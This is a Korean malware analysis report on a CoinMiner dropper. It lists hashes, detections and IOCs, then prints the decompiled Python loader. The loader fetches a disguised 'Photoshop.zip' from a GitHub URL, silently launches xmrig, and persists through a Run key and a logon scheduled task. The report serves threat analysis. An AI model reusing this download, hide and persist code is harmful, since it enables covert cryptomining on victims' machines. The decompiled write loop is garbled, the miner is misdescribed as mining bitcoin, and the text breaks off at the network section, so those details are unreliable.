1. 기본 정보 (Overview)
| 샘플명 | 8ca9120b921c6c10bbfe5d03bfe472a0b8f5db7a6d852ee88ef353b74265dc3d.exe |
| 분류 | Win32/Kepavll!rfn |
| 해시값 | MD5 a2cf95fc130959b5b7720f0ee0b83054 / SHA1 9474b4d8c75abb5c2b5d262442f159c0d2c5222a / SHA256 8ca9120b921c6c10bbfe5d03bfe472a0b8f5db7a6d852ee88ef353b74265dc3d |
| 발견일 | 2025-09-25 16:30:14 UTC |
| 탐지 명칭 | Microsoft: Trojan:Win32/Kepavll!rfn / AhnLab-V3: Trojan/Win.Agent.C5798084 |
| 관련 IOC(요약) | MD5 a2cf95fc130959b5b7720f0ee0b83054 / SHA1 9474b4d8c75abb5c2b5d262442f159c0d2c5222a / SHA256 8ca9120b921c6c10bbfe5d03bfe472a0b8f5db7a6d852ee88ef353b74265dc3d hxxps://github[.]com/wifi4gamesscom1-dev/Happy/releases/download/ddfd/Photoshop.zip |
2. 요약 (Executive Summary)
- 사용자 몰래 비트코인 채굴 프로그램 "xmrig" 를 실행하는 CoinMiner 악성코드
3. 감염 경로 (Infection Vector)
- 최초 유입 경로
- 확인 불가
- 유포 방식
- PyInstaller로 컴파일 된 바이너리 사용
4. 동작 분석 (Behavioral Analysis)
4.1 실행 과정 (Execution Flow)


# min.pyc 디컴파일 결과
import os
import requests
import zipfile
import ctypes
import winreg as reg
ZIP_URL = 'https://github.com/wifi4gamesscom1-dev/Happy/releases/download/ddfd/Photoshop.zip'
TARGET_FILE = 'xmrig.exe'
APP_NAME = 'ConfigUpdater'
HIDDEN_PATH = os.path.join(os.environ['LOCALAPPDATA'], 'Microsoft', 'Config')
def download_zip(url, save_path):
os.makedirs(os.path.dirname(save_path), exist_ok=True)
r = requests.get(url, stream=True)
with open(save_path, 'wb') as f:
for chunk in r.iter_content(chunk_size=8192):
if chunk:
pass
else:
f.write(chunk)
return save_path
def extract_zip(zip_path, extract_to):
os.makedirs(extract_to, exist_ok=True)
with zipfile.ZipFile(zip_path, 'r') as zip_ref:
zip_ref.extractall(extract_to)
def run_silent(file_path):
ctypes.windll.shell32.ShellExecuteW(None, 'open', file_path, None, None, 0)
def add_to_registry(exe_path):
"""Har login pe run karega (HKCU Run key)"""
key = 'Software\\Microsoft\\Windows\\CurrentVersion\\Run'
reg_key = reg.OpenKey(reg.HKEY_CURRENT_USER, key, 0, reg.KEY_SET_VALUE)
reg.SetValueEx(reg_key, APP_NAME, 0, reg.REG_SZ, exe_path)
reg.CloseKey(reg_key)
def add_to_task_scheduler(exe_path):
"""Backup persistence agar registry fail ho"""
task_name = APP_NAME
cmd = f'schtasks /create /sc onlogon /tn "{task_name}" /tr "{exe_path}" /f'
os.system(cmd)
def main():
zip_path = os.path.join(HIDDEN_PATH, 'update.zip')
download_zip(ZIP_URL, zip_path)
extract_zip(zip_path, HIDDEN_PATH)
if os.path.exists(zip_path):
os.remove(zip_path)
target_file_path = os.path.join(HIDDEN_PATH, TARGET_FILE)
if os.path.exists(target_file_path):
run_silent(target_file_path)
add_to_registry(target_file_path)
add_to_task_scheduler(target_file_path)
return None
if __name__ == '__main__':
main()



- "\LOCALAPPDATA\Microsoft\Config" 경로에 온라인으로부터 "hxxps://github[.]com/wifi4gamesscom1-dev/Happy/releases/download/ddfd/Photoshop.zip" 바이너리를 다운받아 "update.zip" 이름으로 저장한다.
- 저장된 파일들 중 "xmrig.exe" 바이너리를 "ShellExecuteW"로 사용자 몰래 실행한다.
4.2 지속성 (Persistence)
- 레지스트리 Run 키에 원본 파일의 경로를 등록하여 지속성을 확보한다.
- 작업 스케줄러의 "onlogon" 이벤트에 원본 파일의 경로를 등록하여 지속성을 확보한다.
4.3 네트워크 통신 (C2 Communication)
- x